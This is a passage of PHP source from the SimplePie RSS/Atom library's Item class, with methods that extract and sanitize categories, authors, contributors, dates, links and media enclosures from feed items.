                    $this->data['thumbnail'] = $thumbnail;
                }
            } else {
                $this->data['thumbnail'] = null;
            }
        }
        return $this->data['thumbnail'];
    }

    /**
     * Get a category for the item
     *
     * @since Beta 3 (previously called `get_categories()` since Beta 2)
     * @param int $key The category that you want to return.  Remember that arrays begin with 0, not 1
     * @return \SimplePie\Category|null
     */
    public function get_category($key = 0)
    {
        $categories = $this->get_categories();
        if (isset($categories[$key])) {
            return $categories[$key];
        }

        return null;
    }

    /**
     * Get all categories for the item
     *
     * Uses `<atom:category>`, `<category>` or `<dc:subject>`
     *
     * @since Beta 3
     * @return \SimplePie\Category[]|null List of {@see \SimplePie\Category} objects
     */
    public function get_categories()
    {
        $categories = [];

        $type = 'category';
        foreach ((array) $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, $type) as $category) {
            $term = null;
            $scheme = null;
            $label = null;
            if (isset($category['attribs']['']['term'])) {
                $term = $this->sanitize($category['attribs']['']['term'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
            if (isset($category['attribs']['']['scheme'])) {
                $scheme = $this->sanitize($category['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
            if (isset($category['attribs']['']['label'])) {
                $label = $this->sanitize($category['attribs']['']['label'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
            $categories[] = $this->registry->create(Category::class, [$term, $scheme, $label, $type]);
        }
        foreach ((array) $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, $type) as $category) {
            // This is really the label, but keep this as the term also for BC.
            // Label will also work on retrieving because that falls back to term.
            $term = $this->sanitize($category['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            if (isset($category['attribs']['']['domain'])) {
                $scheme = $this->sanitize($category['attribs']['']['domain'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            } else {
                $scheme = null;
            }
            $categories[] = $this->registry->create(Category::class, [$term, $scheme, null, $type]);
        }

        $type = 'subject';
        foreach ((array) $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_DC_11, $type) as $category) {
            $categories[] = $this->registry->create(Category::class, [$this->sanitize($category['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT), null, null, $type]);
        }
        foreach ((array) $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_DC_10, $type) as $category) {
            $categories[] = $this->registry->create(Category::class, [$this->sanitize($category['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT), null, null, $type]);
        }

        if (!empty($categories)) {
            return array_unique($categories);
        }

        return null;
    }

    /**
     * Get an author for the item
     *
     * @since Beta 2
     * @param int $key The author that you want to return.  Remember that arrays begin with 0, not 1
     * @return \SimplePie\Author|null
     */
    public function get_author($key = 0)
    {
        $authors = $this->get_authors();
        if (isset($authors[$key])) {
            return $authors[$key];
        }

        return null;
    }

    /**
     * Get a contributor for the item
     *
     * @since 1.1
     * @param int $key The contrbutor that you want to return.  Remember that arrays begin with 0, not 1
     * @return \SimplePie\Author|null
     */
    public function get_contributor($key = 0)
    {
        $contributors = $this->get_contributors();
        if (isset($contributors[$key])) {
            return $contributors[$key];
        }

        return null;
    }

    /**
     * Get all contributors for the item
     *
     * Uses `<atom:contributor>`
     *
     * @since 1.1
     * @return \SimplePie\Author[]|null List of {@see \SimplePie\Author} objects
     */
    public function get_contributors()
    {
        $contributors = [];
        foreach ((array) $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'contributor') as $contributor) {
            $name = null;
            $uri = null;
            $email = null;
            if (isset($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['name'][0]['data'])) {
                $name = $this->sanitize($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['name'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
            if (isset($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['uri'][0]['data'])) {
                $uri = $this->sanitize($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['uri'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['uri'][0]));
            }
            if (isset($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['email'][0]['data'])) {
                $email = $this->sanitize($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['email'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
            if ($name !== null || $email !== null || $uri !== null) {
                $contributors[] = $this->registry->create(Author::class, [$name, $uri, $email]);
            }
        }
        foreach ((array) $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'contributor') as $contributor) {
            $name = null;
            $url = null;
            $email = null;
            if (isset($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['name'][0]['data'])) {
                $name = $this->sanitize($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['name'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
            if (isset($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['url'][0]['data'])) {
                $url = $this->sanitize($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['url'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['url'][0]));
            }
            if (isset($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['email'][0]['data'])) {
                $email = $this->sanitize($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['email'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
            if ($name !== null || $email !== null || $url !== null) {
                $contributors[] = $this->registry->create(Author::class, [$name, $url, $email]);
            }
        }

        if (!empty($contributors)) {
            return array_unique($contributors);
        }

        return null;
    }

    /**
     * Get all authors for the item
     *
     * Uses `<atom:author>`, `<author>`, `<dc:creator>` or `<itunes:author>`
     *
     * @since Beta 2
     * @return \SimplePie\Author[]|null List of {@see \SimplePie\Author} objects
     */
    public function get_authors()
    {
        $authors = [];
        foreach ((array) $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'author') as $author) {
            $name = null;
            $uri = null;
            $email = null;
            if (isset($author['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['name'][0]['data'])) {
                $name = $this->sanitize($author['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['name'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
            if (isset($author['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['uri'][0]['data'])) {
                $uri = $this->sanitize($author['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['uri'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($author['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['uri'][0]));
            }
            if (isset($author['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['email'][0]['data'])) {
                $email = $this->sanitize($author['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['email'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
            if ($name !== null || $email !== null || $uri !== null) {
                $authors[] = $this->registry->create(Author::class, [$name, $uri, $email]);
            }
        }
        if ($author = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'author')) {
            $name = null;
            $url = null;
            $email = null;
            if (isset($author[0]['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['name'][0]['data'])) {
                $name = $this->sanitize($author[0]['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['name'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
            if (isset($author[0]['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['url'][0]['data'])) {
                $url = $this->sanitize($author[0]['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['url'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($author[0]['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['url'][0]));
            }
            if (isset($author[0]['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['email'][0]['data'])) {
                $email = $this->sanitize($author[0]['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['email'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
            if ($name !== null || $email !== null || $url !== null) {
                $authors[] = $this->registry->create(Author::class, [$name, $url, $email]);
            }
        }
        if ($author = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, 'author')) {
            $authors[] = $this->registry->create(Author::class, [null, null, $this->sanitize($author[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT)]);
        }
        foreach ((array) $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_DC_11, 'creator') as $author) {
            $authors[] = $this->registry->create(Author::class, [$this->sanitize($author['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT), null, null]);
        }
        foreach ((array) $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_DC_10, 'creator') as $author) {
            $authors[] = $this->registry->create(Author::class, [$this->sanitize($author['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT), null, null]);
        }
        foreach ((array) $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ITUNES, 'author') as $author) {
            $authors[] = $this->registry->create(Author::class, [$this->sanitize($author['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT), null, null]);
        }

        if (!empty($authors)) {
            return array_unique($authors);
        } elseif (($source = $this->get_source()) && ($authors = $source->get_authors())) {
            return $authors;
        } elseif ($authors = $this->feed->get_authors()) {
            return $authors;
        }

        return null;
    }

    /**
     * Get the copyright info for the item
     *
     * Uses `<atom:rights>` or `<dc:rights>`
     *
     * @since 1.1
     * @return string
     */
    public function get_copyright()
    {
        if ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'rights')) {
            return $this->sanitize($return[0]['data'], $this->registry->call(Misc::class, 'atom_10_construct_type', [$return[0]['attribs']]), $this->get_base($return[0]));
        } elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_DC_11, 'rights')) {
            return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
        } elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_DC_10, 'rights')) {
            return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
        }

        return null;
    }

    /**
     * Get the posting date/time for the item
     *
     * Uses `<atom:published>`, `<atom:updated>`, `<atom:issued>`,
     * `<atom:modified>`, `<pubDate>` or `<dc:date>`
     *
     * Note: obeys PHP's timezone setting. To get a UTC date/time, use
     * {@see get_gmdate}
     *
     * @since Beta 2 (previously called `get_item_date` since 0.8)
     *
     * @param string $date_format Supports any PHP date format from {@see http://php.net/date} (empty for the raw data)
     * @return int|string|null
     */
    public function get_date($date_format = 'j F Y, g:i a')
    {
        if (!isset($this->data['date'])) {
            if ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'published')) {
                $this->data['date']['raw'] = $return[0]['data'];
            } elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, 'pubDate')) {
                $this->data['date']['raw'] = $return[0]['data'];
            } elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_DC_11, 'date')) {
                $this->data['date']['raw'] = $return[0]['data'];
            } elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_DC_10, 'date')) {
                $this->data['date']['raw'] = $return[0]['data'];
            } elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'updated')) {
                $this->data['date']['raw'] = $return[0]['data'];
            } elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'issued')) {
                $this->data['date']['raw'] = $return[0]['data'];
            } elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'created')) {
                $this->data['date']['raw'] = $return[0]['data'];
            } elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'modified')) {
                $this->data['date']['raw'] = $return[0]['data'];
            }

            if (!empty($this->data['date']['raw'])) {
                $parser = $this->registry->call(Parse\Date::class, 'get');
                $this->data['date']['parsed'] = $parser->parse($this->data['date']['raw']) ?: null;
            } else {
                $this->data['date'] = null;
            }
        }
        if ($this->data['date']) {
            $date_format = (string) $date_format;
            switch ($date_format) {
                case '':
                    return $this->sanitize($this->data['date']['raw'], \SimplePie\SimplePie::CONSTRUCT_TEXT);

                case 'U':
                    return $this->data['date']['parsed'];

                default:
                    return date($date_format, $this->data['date']['parsed']);
            }
        }

        return null;
    }

    /**
     * Get the update date/time for the item
     *
     * Uses `<atom:updated>`
     *
     * Note: obeys PHP's timezone setting. To get a UTC date/time, use
     * {@see get_gmdate}
     *
     * @param string $date_format Supports any PHP date format from {@see http://php.net/date} (empty for the raw data)
     * @return int|string|null
     */
    public function get_updated_date($date_format = 'j F Y, g:i a')
    {
        if (!isset($this->data['updated'])) {
            if ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'updated')) {
                $this->data['updated']['raw'] = $return[0]['data'];
            }

            if (!empty($this->data['updated']['raw'])) {
                $parser = $this->registry->call(Parse\Date::class, 'get');
                $this->data['updated']['parsed'] = $parser->parse($this->data['updated']['raw']) ?: null;
            } else {
                $this->data['updated'] = null;
            }
        }
        if ($this->data['updated']) {
            $date_format = (string) $date_format;
            switch ($date_format) {
                case '':
                    return $this->sanitize($this->data['updated']['raw'], \SimplePie\SimplePie::CONSTRUCT_TEXT);

                case 'U':
                    return $this->data['updated']['parsed'];

                default:
                    return date($date_format, $this->data['updated']['parsed']);
            }
        }

        return null;
    }

    /**
     * Get the localized posting date/time for the item
     *
     * Returns the date formatted in the localized language. To display in
     * languages other than the server's default, you need to change the locale
     * with {@link http://php.net/setlocale setlocale()}. The available
     * localizations depend on which ones are installed on your web server.
     *
     * @since 1.0
     *
     * @param string $date_format Supports any PHP date format from {@see http://php.net/strftime} (empty for the raw data)
     * @return int|string|null
     */
    public function get_local_date($date_format = '%c')
    {
        if (!$date_format) {
            return $this->sanitize($this->get_date(''), \SimplePie\SimplePie::CONSTRUCT_TEXT);
        } elseif (($date = $this->get_date('U')) !== null && $date !== false) {
            return strftime($date_format, $date);
        }

        return null;
    }

    /**
     * Get the posting date/time for the item (UTC time)
     *
     * @see get_date
     * @param string $date_format Supports any PHP date format from {@see http://php.net/date}
     * @return int|string|null
     */
    public function get_gmdate($date_format = 'j F Y, g:i a')
    {
        $date = $this->get_date('U');
        if ($date === null) {
            return null;
        }

        return gmdate($date_format, $date);
    }

    /**
     * Get the update date/time for the item (UTC time)
     *
     * @see get_updated_date
     * @param string $date_format Supports any PHP date format from {@see http://php.net/date}
     * @return int|string|null
     */
    public function get_updated_gmdate($date_format = 'j F Y, g:i a')
    {
        $date = $this->get_updated_date('U');
        if ($date === null) {
            return null;
        }

        return gmdate($date_format, $date);
    }

    /**
     * Get the permalink for the item
     *
     * Returns the first link available with a relationship of "alternate".
     * Identical to {@see get_link()} with key 0
     *
     * @see get_link
     * @since 0.8
     * @return string|null Permalink URL
     */
    public function get_permalink()
    {
        $link = $this->get_link();
        $enclosure = $this->get_enclosure(0);
        if ($link !== null) {
            return $link;
        } elseif ($enclosure !== null) {
            return $enclosure->get_link();
        }

        return null;
    }

    /**
     * Get a single link for the item
     *
     * @since Beta 3
     * @param int $key The link that you want to return.  Remember that arrays begin with 0, not 1
     * @param string $rel The relationship of the link to return
     * @return string|null Link URL
     */
    public function get_link($key = 0, $rel = 'alternate')
    {
        $links = $this->get_links($rel);
        if ($links && $links[$key] !== null) {
            return $links[$key];
        }

        return null;
    }

    /**
     * Get all links for the item
     *
     * Uses `<atom:link>`, `<link>` or `<guid>`
     *
     * @since Beta 2
     * @param string $rel The relationship of links to return
     * @return array|null Links found for the item (strings)
     */
    public function get_links($rel = 'alternate')
    {
        if (!isset($this->data['links'])) {
            $this->data['links'] = [];
            foreach ((array) $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'link') as $link) {
                if (isset($link['attribs']['']['href'])) {
                    $link_rel = (isset($link['attribs']['']['rel'])) ? $link['attribs']['']['rel'] : 'alternate';
                    $this->data['links'][$link_rel][] = $this->sanitize($link['attribs']['']['href'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($link));
                }
            }
            foreach ((array) $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'link') as $link) {
                if (isset($link['attribs']['']['href'])) {
                    $link_rel = (isset($link['attribs']['']['rel'])) ? $link['attribs']['']['rel'] : 'alternate';
                    $this->data['links'][$link_rel][] = $this->sanitize($link['attribs']['']['href'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($link));
                }
            }
            if ($links = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_RSS_10, 'link')) {
                $this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($links[0]));
            }
            if ($links = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_RSS_090, 'link')) {
                $this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($links[0]));
            }
            if ($links = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, 'link')) {
                $this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($links[0]));
            }
            if ($links = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, 'guid')) {
                if (!isset($links[0]['attribs']['']['isPermaLink']) || strtolower(trim($links[0]['attribs']['']['isPermaLink'])) === 'true') {
                    $this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($links[0]));
                }
            }

            $keys = array_keys($this->data['links']);
            foreach ($keys as $key) {
                if ($this->registry->call(Misc::class, 'is_isegment_nz_nc', [$key])) {
                    if (isset($this->data['links'][\SimplePie\SimplePie::IANA_LINK_RELATIONS_REGISTRY . $key])) {
                        $this->data['links'][\SimplePie\SimplePie::IANA_LINK_RELATIONS_REGISTRY . $key] = array_merge($this->data['links'][$key], $this->data['links'][\SimplePie\SimplePie::IANA_LINK_RELATIONS_REGISTRY . $key]);
                        $this->data['links'][$key] = &$this->data['links'][\SimplePie\SimplePie::IANA_LINK_RELATIONS_REGISTRY . $key];
                    } else {
                        $this->data['links'][\SimplePie\SimplePie::IANA_LINK_RELATIONS_REGISTRY . $key] = &$this->data['links'][$key];
                    }
                } elseif (substr($key, 0, 41) === \SimplePie\SimplePie::IANA_LINK_RELATIONS_REGISTRY) {
                    $this->data['links'][substr($key, 41)] = &$this->data['links'][$key];
                }
                $this->data['links'][$key] = array_unique($this->data['links'][$key]);
            }
        }
        if (isset($this->data['links'][$rel])) {
            return $this->data['links'][$rel];
        }

        return null;
    }

    /**
     * Get an enclosure from the item
     *
     * Supports the <enclosure> RSS tag, as well as Media RSS and iTunes RSS.
     *
     * @since Beta 2
     * @todo Add ability to prefer one type of content over another (in a media group).
     * @param int $key The enclosure that you want to return.  Remember that arrays begin with 0, not 1
     * @return \SimplePie\Enclosure|null
     */
    public function get_enclosure($key = 0, $prefer = null)
    {
        $enclosures = $this->get_enclosures();
        if (isset($enclosures[$key])) {
            return $enclosures[$key];
        }

        return null;
    }

    /**
     * Get all available enclosures (podcasts, etc.)
     *
     * Supports the <enclosure> RSS tag, as well as Media RSS and iTunes RSS.
     *
     * At this point, we're pretty much assuming that all enclosures for an item
     * are the same content.  Anything else is too complicated to
     * properly support.
     *
     * @since Beta 2
     * @todo Add support for end-user defined sorting of enclosures by type/handler (so we can prefer the faster-loading FLV over MP4).
     * @todo If an element exists at a level, but its value is empty, we should fall back to the value from the parent (if it exists).
     * @return \SimplePie\Enclosure[]|null List of \SimplePie\Enclosure items
     */
    public function get_enclosures()
    {
        if (!isset($this->data['enclosures'])) {
            $this->data['enclosures'] = [];

            // Elements
            $captions_parent = null;
            $categories_parent = null;
            $copyrights_parent = null;
            $credits_parent = null;
            $description_parent = null;
            $duration_parent = null;
            $hashes_parent = null;
            $keywords_parent = null;
            $player_parent = null;
            $ratings_parent = null;
            $restrictions_parent = null;
            $thumbnails_parent = null;
            $title_parent = null;

            // Let's do the channel and item-level ones first, and just re-use them if we need to.
            $parent = $this->get_feed();

            // CAPTIONS
            if ($captions = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'text')) {
                foreach ($captions as $caption) {
                    $caption_type = null;
                    $caption_lang = null;
                    $caption_startTime = null;
                    $caption_endTime = null;
                    $caption_text = null;
                    if (isset($caption['attribs']['']['type'])) {
                        $caption_type = $this->sanitize($caption['attribs']['']['type'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    if (isset($caption['attribs']['']['lang'])) {
                        $caption_lang = $this->sanitize($caption['attribs']['']['lang'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    if (isset($caption['attribs']['']['start'])) {
                        $caption_startTime = $this->sanitize($caption['attribs']['']['start'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    if (isset($caption['attribs']['']['end'])) {
                        $caption_endTime = $this->sanitize($caption['attribs']['']['end'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    if (isset($caption['data'])) {
                        $caption_text = $this->sanitize($caption['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    $captions_parent[] = $this->registry->create(Caption::class, [$caption_type, $caption_lang, $caption_startTime, $caption_endTime, $caption_text]);
                }
            } elseif ($captions = $parent->get_channel_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'text')) {
                foreach ($captions as $caption) {
                    $caption_type = null;
                    $caption_lang = null;
                    $caption_startTime = null;
                    $caption_endTime = null;
                    $caption_text = null;
                    if (isset($caption['attribs']['']['type'])) {
                        $caption_type = $this->sanitize($caption['attribs']['']['type'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    if (isset($caption['attribs']['']['lang'])) {
                        $caption_lang = $this->sanitize($caption['attribs']['']['lang'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    if (isset($caption['attribs']['']['start'])) {
                        $caption_startTime = $this->sanitize($caption['attribs']['']['start'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    if (isset($caption['attribs']['']['end'])) {
                        $caption_endTime = $this->sanitize($caption['attribs']['']['end'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    if (isset($caption['data'])) {
                        $caption_text = $this->sanitize($caption['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    $captions_parent[] = $this->registry->create(Caption::class, [$caption_type, $caption_lang, $caption_startTime, $caption_endTime, $caption_text]);
                }
            }
            if (is_array($captions_parent)) {
                $captions_parent = array_values(array_unique($captions_parent));
            }

            // CATEGORIES
            foreach ((array) $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'category') as $category) {
                $term = null;
                $scheme = null;
                $label = null;
                if (isset($category['data'])) {
                    $term = $this->sanitize($category['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                }
                if (isset($category['attribs']['']['scheme'])) {
                    $scheme = $this->sanitize($category['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                } else {
                    $scheme = 'http://search.yahoo.com/mrss/category_schema';
                }
                if (isset($category['attribs']['']['label'])) {
                    $label = $this->sanitize($category['attribs']['']['label'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                }
                $categories_parent[] = $this->registry->create(Category::class, [$term, $scheme, $label]);
            }
            foreach ((array) $parent->get_channel_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'category') as $category) {
                $term = null;
                $scheme = null;
                $label = null;
                if (isset($category['data'])) {
                    $term = $this->sanitize($category['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                }
                if (isset($category['attribs']['']['scheme'])) {
                    $scheme = $this->sanitize($category['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                } else {
                    $scheme = 'http://search.yahoo.com/mrss/category_schema';
                }
                if (isset($category['attribs']['']['label'])) {
                    $label = $this->sanitize($category['attribs']['']['label'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                }
                $categories_parent[] = $this->registry->create(Category::class, [$term, $scheme, $label]);
            }
            foreach ((array) $parent->get_channel_tags(\SimplePie\SimplePie::NAMESPACE_ITUNES, 'category') as $category) {
                $term = null;
                $scheme = 'http://www.itunes.com/dtds/podcast-1.0.dtd';
                $label = null;
                if (isset($category['attribs']['']['text'])) {
                    $label = $this->sanitize($category['attribs']['']['text'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                }
                $categories_parent[] = $this->registry->create(Category::class, [$term, $scheme, $label]);

                if (isset($category['child'][\SimplePie\SimplePie::NAMESPACE_ITUNES]['category'])) {
                    foreach ((array) $category['child'][\SimplePie\SimplePie::NAMESPACE_ITUNES]['category'] as $subcategory) {
                        if (isset($subcategory['attribs']['']['text'])) {
                            $label = $this->sanitize($subcategory['attribs']['']['text'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                        }
                        $categories_parent[] = $this->registry->create(Category::class, [$term, $scheme, $label]);
                    }
                }
            }
            if (is_array($categories_parent)) {
                $categories_parent = array_values(array_unique($categories_parent));
            }

            // COPYRIGHT
            if ($copyright = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'copyright')) {
                $copyright_url = null;
                $copyright_label = null;
                if (isset($copyright[0]['attribs']['']['url'])) {
                    $copyright_url = $this->sanitize($copyright[0]['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                }
                if (isset($copyright[0]['data'])) {
                    $copyright_label = $this->sanitize($copyright[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                }
                $copyrights_parent = $this->registry->create(Copyright::class, [$copyright_url, $copyright_label]);
            } elseif ($copyright = $parent->get_channel_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'copyright')) {
                $copyright_url = null;
                $copyright_label = null;
                if (isset($copyright[0]['attribs']['']['url'])) {
                    $copyright_url = $this->sanitize($copyright[0]['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                }
                if (isset($copyright[0]['data'])) {
                    $copyright_label = $this->sanitize($copyright[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                }
                $copyrights_parent = $this->registry->create(Copyright::class, [$copyright_url, $copyright_label]);
            }

            // CREDITS
            if ($credits = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'credit')) {
                foreach ($credits as $credit) {
                    $credit_role = null;
                    $credit_scheme = null;
                    $credit_name = null;
                    if (isset($credit['attribs']['']['role'])) {
                        $credit_role = $this->sanitize($credit['attribs']['']['role'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    if (isset($credit['attribs']['']['scheme'])) {
                        $credit_scheme = $this->sanitize($credit['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    } else {
                        $credit_scheme = 'urn:ebu';
                    }
                    if (isset($credit['data'])) {
                        $credit_name = $this->sanitize($credit['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    $credits_parent[] = $this->registry->create(Credit::class, [$credit_role, $credit_scheme, $credit_name]);
                }
            } elseif ($credits = $parent->get_channel_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'credit')) {
                foreach ($credits as $credit) {
                    $credit_role = null;
                    $credit_scheme = null;
                    $credit_name = null;
                    if (isset($credit['attribs']['']['role'])) {
                        $credit_role = $this->sanitize($credit['attribs']['']['role'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    if (isset($credit['attribs']['']['scheme'])) {
                        $credit_scheme = $this->sanitize($credit['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    } else {
                        $credit_scheme = 'urn:ebu';
                    }
                    if (isset($credit['data'])) {
                        $credit_name = $this->sanitize($credit['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    $credits_parent[] = $this->registry->create(Credit::class, [$credit_role, $credit_scheme, $credit_name]);
                }
            }
            if (is_array($credits_parent)) {
                $credits_parent = array_values(array_unique($credits_parent));
            }

            // DESCRIPTION
            if ($description_parent = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'description')) {
                if (isset($description_parent[0]['data'])) {
                    $description_parent = $this->sanitize($description_parent[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                }
            } elseif ($description_parent = $parent->get_channel_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'description')) {
                if (isset($description_parent[0]['data'])) {
                    $description_parent = $this->sanitize($description_parent[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                }
            }

            // DURATION
            if ($duration_parent = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ITUNES, 'duration')) {
                $seconds = null;
                $minutes = null;
                $hours = null;
                if (isset($duration_parent[0]['data'])) {
                    $temp = explode(':', $this->sanitize($duration_parent[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT));
                    if (sizeof($temp) > 0) {
                        $seconds = (int) array_pop($temp);
                    }
